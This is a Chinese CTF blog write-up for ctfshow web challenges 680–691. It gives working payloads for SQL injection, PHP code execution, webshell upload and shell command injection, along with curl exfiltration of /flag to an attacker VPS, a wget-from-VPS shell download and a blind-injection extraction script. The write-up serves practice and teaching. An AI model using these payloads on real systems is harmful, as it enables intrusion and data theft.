前言 题目来源于ctfshow-web入门-大赛原题,写这一篇blog的初衷是练练手,有空就做做,保持手感。
web680 半脑洞题,一开始题目提示post code to run!,传参?code=ls;、code=system('ls');均没反应,考虑可能是代码执行,传?code=echo 123;,有回显123,说明是代码执行。
?code=phpinfo();可以看到很多函数被禁用了,open_basedir也做了限制,当然这里可以尝试绕过。不过这个题目不需要去绕。直接读当前目录下面的文件:?code=var_dump(scandir("./"));或者?code=print_r(scandir("./"));发现当前目录底下有一个secret_you_never_know,直接访问即可。
web681 打开题目,全是帽子。给了一个login.php。怀疑可能是sql注入,试了下万能密码'or'1'='1以及1'or 1#发现都是返回绿帽子….没办法,那dirsearch扫了一下,发现存在.svn,访问一下拿到了源码www.zip。
先看index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;session_start ();if (isset ($_SESSION ['hat' ])){ if ($_SESSION ['hat' ]=='green' ){ output ("<img src='images/green.jpg'>" ,8 ); }else { output ("<img src='images/black.jpg'>" ,1 ); echo $flag ; } echo "<br><br><br><br><br><a href='logout.php'>I give up!</a>" ; }else { output ("<img src='images/white.jpg'>" ,6 ); echo "<br><br><br><br><br><a href='login.php'>I want to check the color of my hat!</a>" ; } function output ($content ,$count ) { for ($i =0 ;$i <$count ;$i ++){ echo $content ; } }
然后就是check.php这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );include "common.php" ;session_start ();if (isset ($_POST ["name" ])){ $name = str_replace ("'" , "" , trim (waf ($_POST ["name" ]))); if (strlen ($name ) > 11 ){ echo ("<script>alert('name too long')</script>" ); }else { $sql = "select count(*) from ctfshow_users where username = '$name ' or nickname = '$name '" ; echo $sql ; $db = new db (); $result = $db ->select_one_array ($sql ); if ($result [0 ]){ $_SESSION ['hat' ] = 'black' ; echo 'good job' ; }else { $_SESSION ['hat' ] = 'green' ; } header ("Location: index.php" ); } }
两个结合起来看,只要满足$result[0]返回为真就行了,但是这里的common.php源码没给到我们,所以这里的waf不清楚。一开始我以为需要爆破颜色的英文单词,就全部爆破了一下发现不行,所以最后还是得通过sql注入,用\来尝试转义 ‘ ,然后配合万能密码,这里因为有trim,直接 or 1 # \ 不太行,换成||1#\
最终payload:name=||1#\,带入到语句里面就是 select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'。
web682 无
web683 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 ); include "flag.php" ; if (isset ($_GET ['秀' ])){ if (!is_numeric ($_GET ['秀' ])){ die ('必须是数字' ); }else if ($_GET ['秀' ] < 60 * 60 * 24 * 30 * 2 ){ die ('你太短了' ); }else if ($_GET ['秀' ] > 60 * 60 * 24 * 30 * 3 ){ die ('你太长了' ); }else { sleep ((int )$_GET ['秀' ]); echo $flag ; } echo '<hr>' ; } highlight_file (__FILE__ );
主要是sleep((int)$_GET['秀']);
本地搭建一个demo试下:
1 2 3 4 5 <?php $a ="0x123" ;print ((int )($a ));?>
web684 1 2 3 4 5 6 7 8 9 <?php $action = $_GET ['action' ] ?? '' ;$arg = $_GET ['arg' ] ?? '' ;if (preg_match ('/^[a-z0-9_]*$/isD' , $action )) { show_source (__FILE__ ); } else { $action ('' , $arg ); }
考create_function的特性,可以用\来绕过正则,这个小点24年湖北省楚慧杯也考到了。
payload: ?action=\create_function&arg=}system("cat /secret*");//
web685 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function is_php ($data ) { return preg_match ('/<\?.*[(`;?>].*/is' , $data ); } if (empty ($_FILES )) { die (show_source (__FILE__ )); } $user_dir = './data/' ;$data = file_get_contents ($_FILES ['file' ]['tmp_name' ]);if (is_php ($data )) { echo "bad request" ; } else { @mkdir ($user_dir , 0755 ); $path = $user_dir . '/' . random_int (0 , 10 ) . '.php' ; move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $path ); header ("Location: $path " , true , 303 ); } 1
代码逻辑很简单,不让出现<?,一开始尝试了一下其他的标签来绕过,比如<script language="php"></script>和<% %>来绕过,发现均无效。这个题目需要绕过正则,利用回溯次数来绕过:
1 2 3 4 5 6 7 8 9 10 11 file_content = "<?php eval($_POST[cmd]);?>" +"b" *1000000 import requestsurl = "http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/" files = {'file' : ('filename.txt' , file_content)} response = requests.post(url, files=files) for i in range (1 ,11 ): url2="http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/data/{}.php" .format (i) print (url2) response2 = requests.get(url2) print (response2.text)
web686 题目:
1 2 3 4 5 6 <?php if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { eval ($_GET ['code' ]); } else { show_source (__FILE__ ); }
没有任何过滤的无参数RCE;
集团初赛的payload可以直接过:?cmd=system('ls');&code=eval(array_shift(array_shift(get_defined_vars())));
web687 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ ); $target = $_REQUEST [ 'ip' ]; $target =trim ($target ); $substitutions = array ( '&' => '' , ';' => '' , '|' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , '||' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); $cmd = shell_exec ( 'ping -c 1 ' . $target ); echo "<pre>{$cmd} </pre>" ;
过滤了一些,但依然很多没有过滤。直接上payload:?ip=127.0.0.1%0acat /flaaag
web688 这个题有个类似的题[BUUCTF online tool]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host );
产生漏洞点的原因就是先后经过escapeshellarg和escapeshellcmd函数的处理。
这两个函数的解释:
1 2 3 4 5 escapeshellarg: 先给字符串里面的引号进行转义,即先 \' 然后在用引号进行包裹 : '\'' 然后在给字符串外圈打上一对引号,比如: shellcode - > 'shellcode' ; shellcode' -> 'shellcode'\''' escapeshellcmd: 如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠(\)给转义掉;如果单引号和双引号不是成对出现时,会被转义掉
所以组合在一起,就会出现问题。我们直接来看payload:
?host=' <?php eval($_POST["cmd"]) -oG test.php '
经过escapeshellarg处理之后为:
''\'' <?php echo phpinfo();?> -oG test.php '\''
然后在经过escapeshellcmd处理之后为:
''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''
最终拼接的命令:
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''
看看DP的解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Shell 的解析过程: ''\\''解释如下: '' → 空字符串 \\ → 转义成单个 \(因为 escapeshellcmd 添加了转义) '' → 再次空字符串 最终解析为 \(一个反斜杠字符) \<、\? 等: 这些字符被 escapeshellcmd() 转义,但仍然作为普通字符传递给 nmap。 -oG test.php: 由于前面的引号解析失败,-oG 被当作 nmap 的参数,而不是字符串的一部分。 '\\''': '\\' → 被解析为字面量 \(反斜杠) '' → 空字符串 最终解析为 \(一个反斜杠字符) 2. 为什么 test.php 后面的 '\\''' 不会导致报错? Shell 的引号解析规则: 单引号内的内容('...')会被当作字面量,不会进行变量扩展或命令替换。 '\\' 被解析为 \(一个反斜杠)。 最后的 '' 是空字符串,不影响命令执行。 nmap 如何接收参数? nmap 会接收 -F \ <?php echo phpinfo();?> -oG test.php \ 作为参数。 -oG test.php 是合法的 nmap 参数,用于写入输出到文件。 后面的 \ 会被 nmap 忽略,因为它不是有效参数。
本质是逃逸引号。
再来看看这道题:
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$url = $_GET ['url' ];$urlInfo = parse_url ($url );if (!("http" === strtolower ($urlInfo ["scheme" ]) || "https" ===strtolower ($urlInfo ["scheme" ]))){ die ( "scheme error!" ); } $url =escapeshellarg ($url );$url =escapeshellcmd ($url );system ("curl " .$url );
通过curl来外带出文件内容,需要有vps来监听端口。(这里注意监听的端口是防火墙开放的)
payload1:?url=http://vps:port/%27%20-F%20file=@/flag%20%27
payload2:?url=http://vps:port/' -T /flag '
vps上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [root@lavm-3e27re9pxw var]# nc -lvvp 1205 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::1205 Ncat: Listening on 0.0.0.0:1205 Ncat: Connection from 124.223.158.81. Ncat: Connection from 124.223.158.81:39422. POST /\ HTTP/1.1 Host: 117.72.17.110:1205 User-Agent: curl/7.61.1 Accept: */* Content-Length: 242 Content-Type: multipart/form-data; boundary=------------------------c34859b593f7113e --------------------------c34859b593f7113e Content-Disposition: form-data; name="file"; filename="flag" Content-Type: application/octet-stream ctfshow{9e31c281-a9d0-449e-8d61-41fcd4fc2135} --------------------------c34859b593f7113e--
web689 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (isset ($_GET ) && !empty ($_GET )){ $url = $_GET ['file' ]; $path = "upload/" .$_GET ['path' ]; }else { show_source (__FILE__ ); exit (); } if (strpos ($path ,'..' ) > -1 ){ die ('This is a waf!' ); } if (strpos ($url ,'http://127.0.0.1/' ) === 0 ){ file_put_contents ($path , file_get_contents ($url )); echo "console.log($path update successed!)" ; }else { echo "Hello.CTFshow" ; }
这个题目看上去会有点绕。首先看下逻辑,$path不能出现..,$url要以http://127.0.0.1/开头。其实关键点在: echo "console.log($path update successed!)"; 会把 $path的值打印到页面上面。并且还存在file_put_contents($path, file_get_contents($url)); 把访问$url得到页面回显的结果,写到$path里面。那么如果我们能构造一个URL,访问它得到的回显内容里面有shellcode。就可以形成利用了。
xxxxxxxx?file=http://127.0.0.1/&path=<?=eval($_POST[1]);?> 这个页面得到回显的内容里面就包含了shellcode 。那么我们如何将内容写到php文件里面呢?
通过构造xxxxxx?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?=eval($_POST[1]);?>&path=a.php
为什么要把&编码成 %26,因为避免被当成参数切割,正向的看这个payload :
file_get_contents($url) -> file_get_contents(http://127.0.0.1/?file=http://127.0.0.1/%26path=shellcode )
file_get_contens会对url编码进行解码,相当于是访问了http://127.0.0.1/?file=http://127.0.0.1/&path=shellcode,得到页面的响应结果就是 shellcode update successed!,然后通过file_put_contents函数,把 shellcode 写入到了 a.php 。
web690 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );error_reporting (0 );$args = $_GET ['args' ];for ( $i =0 ; $i <count ($args ); $i ++ ){ if ( !preg_match ('/^\w+$/' , $args [$i ]) ) exit ("sorry" ); } exec ('./ ' . implode (" " , $args ));
传入的args要是数组,并且只能是数字,下划线和字母,但是经过测试%0a是可以绕过的。而在linux命令里,%0a等效于分号;
所以主要是想办法RCE:
看了大佬的思路:我们的服务器起一个web服务,然后利用wget去获取包含shell文件,然后在对这个文件进行压缩打包处理,然后再利用php命令去执行shell文件。整体流程:
1 2 3 4 5 6 7 8 9 10 11 12 vps: python3 -m http.server 80 // 启动一个web服务,这个你在哪个目录下用这个命令,当前目录就会被当成web服务供外界访问 然后再在当前目录下面新建一个index.html,内容是: <?php file_put_contents("shell.php",'<?=eval($_POST[1]);?>'); ?> 1.传入 ?args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=vps的ip 通过第一步,此时a目录下有了index.html,同时这里的vps的ip得是十进制,因为要绕过`.` 2.传入 ?args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a 通过第二步,把a目录以及index.html打包成了shell文件 3.传入 ?args[]=1%0a&args[]=php&args[]=shell 通过第三步,执行shell文件内容,只要是文件里面包含php代码的,都可以被php来执行。用010打开shell文件来看里面是包含了index.html文件的代码的。 经过上述三步之后,就生成了我们的shell.php文件。访问就可以利用了。
web691 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include ('inc.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($str ) { $filterlist = "/\(|\)|username|password|where| case|when|like|regexp|into|limit|=|for|;/" ; if (preg_match ($filterlist ,strtolower ($str ))){ die ("illegal input!" ); } return $str ; } $username = isset ($_POST ['username' ])?filter ($_POST ['username' ]):die ("please input username!" );$password = isset ($_POST ['password' ])?filter ($_POST ['password' ]):die ("please input password!" );$sql = "select * from admin where username = '$username ' and password = '$password ' " ;$res = $conn -> query ($sql );if ($res ->num_rows>0 ){ $row = $res -> fetch_assoc (); if ($row ['id' ]){ echo $row ['username' ]; } }else { echo "The content in the password column is the flag!" ; } ?>
告诉了你flag在password字段里面。但是echo出来的是username的值。所以一开始想的是有没有可能通过堆叠注入,类似于强网杯随便注那道题,换一下列名。但这里查询语句没有堆叠注入的点,而且;也被过滤了。
这里使用 order by 来通过字母排序来注入:
构造payload:
username='or 1 union select 1,2,'a' order by 3#&password=123
id
username
password
1
1
a
2
admin
ctfshow{xxxx}
因为a排在c前面,所以echo $row[‘username’]得到的值是1;
username='or 1 union select 1,2,'c' order by 3#&password=123
这里为c的时候,也会排在前面,echo $row[‘username’]得到的值也为1;
而当`username=’or 1 union select 1,2,’d’ order by 3#&password=123
这里为d的时候,这个时候 echo $row[‘username’]得到的值为admin。
所以我们打印出来的就是d的前面那一位,也就是c -> chr(ord(k)-1)
所以就可以写脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl="http://fa0be11a-59f5-4fb1-9c76-6726441d69ce.challenge.ctf.show/" strings=".0123456789:abcdefghijklmnopqrstuvwxyz{}~" flag='ctfshow{' for i in range (1 ,50 ): for k in strings: payload="'or 1 union select 1,2,'{}' order by 3 #" .format (flag+k) data={"username" :payload,"password" :123 } res=requests.post(url,data=data) if "</code>admin" in res.text: print (chr (ord (k)-1 )) flag+=chr (ord (k)-1 ) print (flag) break
注意这里的条件是</code>admin而不是单纯的admin,因为源代码里面本身就有admin 。 要区分出打印出来的admin 。
另外我们的字典肯定也得是按照ascii顺序来的。